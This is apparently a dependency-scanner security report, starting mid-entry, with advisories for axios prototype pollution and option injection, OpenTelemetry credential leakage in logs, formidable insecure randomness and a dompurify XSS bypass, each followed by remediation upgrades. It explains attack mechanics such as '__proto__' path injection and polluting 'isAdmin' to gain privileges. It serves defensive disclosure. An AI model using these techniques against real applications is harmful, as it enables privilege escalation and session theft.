merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade axios to version 0.34.0, 1.20.0 or higher.
References
Improper Input Validation
Detailed paths
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Improper Input Validation via insufficient hardening of runtime option handling in the fetch and HTTP adapters, where user-supplied fetchOptions are merged into the resolved request options without sanitization. An attacker who can influence request configuration can inject or override internal Axios-owned options (such as body, headers, method, signal, credentials), leading to integrity impact on the downstream system receiving the request.
Remediation
Upgrade axios to version 1.20.0 or higher.
References
Prototype Pollution
Detailed paths
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Prototype Pollution via insufficient hardening of runtime option handling in the fetch and HTTP adapters (lib/adapters/fetch.js, lib/adapters/http.js, and related helpers). An attacker who can influence request configuration options passed to axios can supply unsanitized values that bypass expected constraints, resulting in unintended modification of downstream system behavior (SI:H) such as request routing or proxy bypass, while leaving the client-side response unaffected (VC:N, VI:N, VA:N).
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade axios to version 1.20.0 or higher.
References
Incorrect Authorization
Detailed paths
Overview
Affected versions of this package are vulnerable to Incorrect Authorization in the sdk/trace.NewTracerProvider. An attacker can obtain sensitive information by accessing info-level diagnostic logs that may include internal collector endpoints and credentials embedded in URLs.
Note: This is only exploitable if the application enables OpenTelemetry internal Info logging by calling otel.SetLogger.
Remediation
Upgrade go.opentelemetry.io/otel/sdk/trace to version 1.45.0 or higher.
References
Incorrect Authorization
Detailed paths
Overview
Affected versions of this package are vulnerable to Incorrect Authorization in the sdk/trace.NewTracerProvider. An attacker can obtain sensitive information by accessing info-level diagnostic logs that may include internal collector endpoints and credentials embedded in URLs.
Note: This is only exploitable if the application enables OpenTelemetry internal Info logging by calling otel.SetLogger.
Remediation
Upgrade go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracegrpc to version 1.45.0 or higher.
References
Incorrect Authorization
Detailed paths
Overview
Affected versions of this package are vulnerable to Incorrect Authorization in the sdk/trace.NewTracerProvider. An attacker can obtain sensitive information by accessing info-level diagnostic logs that may include internal collector endpoints and credentials embedded in URLs.
Note: This is only exploitable if the application enables OpenTelemetry internal Info logging by calling otel.SetLogger.
Remediation
Upgrade go.opentelemetry.io/otel/exporters/otlp/otlptrace to version 1.45.0 or higher.
References
Insecure Randomness
Detailed paths
Overview
Affected versions of this package are vulnerable to Insecure Randomness due to its use of the hexoid() function in the generation of fingerprint IDs.
Remediation
Upgrade formidable to version 2.1.3, 3.5.3 or higher.
References
Cross-site Scripting (XSS)
Detailed paths
Overview
dompurify is a DOM-only XSS sanitizer for HTML, MathML and SVG.
Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via a non-default configuration that allows certain literal text elements, where the LITERAL_TEXT_CLOSE regex-based closing-tag detection logic can be bypassed, allowing an attacker to inject unsanitized HTML that executes arbitrary scripts in the victim's browser. The fix removes the regex-based approach and introduces a lookupAccessor helper alongside Set-based tracking to harden element handling.
Note: This is only exploitable when a non-default DOMPurify configuration is used; the default configuration is not affected.
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
| Type | Origin | Description |
|---|---|---|
| Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
| Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
| DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
| Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?,&,/,<,>and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade dompurify to version 3.4.17 or higher.